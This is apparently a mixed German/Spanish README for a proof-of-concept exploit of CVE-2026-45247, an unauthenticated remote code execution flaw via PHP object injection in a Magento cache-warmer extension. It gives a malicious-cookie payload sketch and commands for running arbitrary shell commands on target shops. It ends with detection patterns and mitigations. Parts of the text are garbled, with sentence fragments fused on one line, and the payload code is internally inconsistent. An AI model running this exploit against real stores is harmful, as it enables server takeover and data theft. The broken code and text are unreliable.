
Funktionaler PoC für CVE-2026-45247: PHP Object Injection zu nicht authentifiziertem RCE in Mirasvit Full Page Cache (Magento 2).
CVE-2026-45247 ist eine kritische Schwachstelle für PHP-Objektinjektion (PHP Object Injection) in der Erweiterung Mirasvit Full Page Cache Warmer für Magento 2 und Adobe Commerce. Ein nicht authentifizierter Angreifer kann durch das Senden eines manipulierten serialisierten PHP-Objekts im Cookie CacheWarmer eine Remote Code Execution (RCE) erreichen.
Die Schwachstelle liegt im uneingeschränkten Aufruf der nativen PHP-Funktion unserialize(), kombiniert mit Gadget Chains, die in Magento und seinen Abhängigkeiten (insbesondere Monolog) verfügbar sind.
| Attribut | Wert |
|---|---|
| CVE | CVE-2026-45247 |
| Produkt | Mirasvit Full Page Cache Warmer for Magento 2 |
| Betroffene Versionen | Alle Versionen vor 1.11.12 |
| Verfügbarer Patch | Version 1.11.12 (25. Mai 2026) |
| CVSS-Score | 9.8 (Kritisch) |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Status in CISA KEV | Aktive Ausnutzung bestätigt (hinzugefügt am 03.06.2026) |
| Frist | 06.06.2026 |
CacheWarmer bei jeder Shop-Anfrageunserialize() übergebenSyslogUdpHandler, BufferHandler, FingersCrossedHandler) wird RCE erreicht# Verificar si la tienda usa Mirasvit Cache Warmer
curl -s https://tienda.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
# La cookie se procesa en cada request sin autenticación
# El código vulnerable en Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
# Construcción de la cookie maliciosa
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Envío de la petición
requests.get(target, cookies={'CacheWarmer': cookie_value})
git clone https://github.com/tu-usuario/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
# Verificar vulnerabilidad
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com --check-only
# Ejecutar comando 'id'
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
# Ejecutar comando personalizado
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "whoami"
# Usar proxy para depuración
python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "ls -la" --proxy http://127.0.0.1:8080
# Verificar con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://tienda.ejemplo.com
In Zugriffsprotokollen:
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Bei der Ausnutzung beobachtete Befehle:
echo PWNED_CVE2026_$(date +%s)
sleep 5
Verwendete Gadget Chains:
Monolog\Handler\SyslogUdpHandler
Monolog\Handler\BufferHandler
Monolog\Handler\FingersCrossedHandler
Monolog\Handler\GroupHandler
# Actualizar a versión parcheada
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
# Bloquear cookie CacheWarmer en .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
// En app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}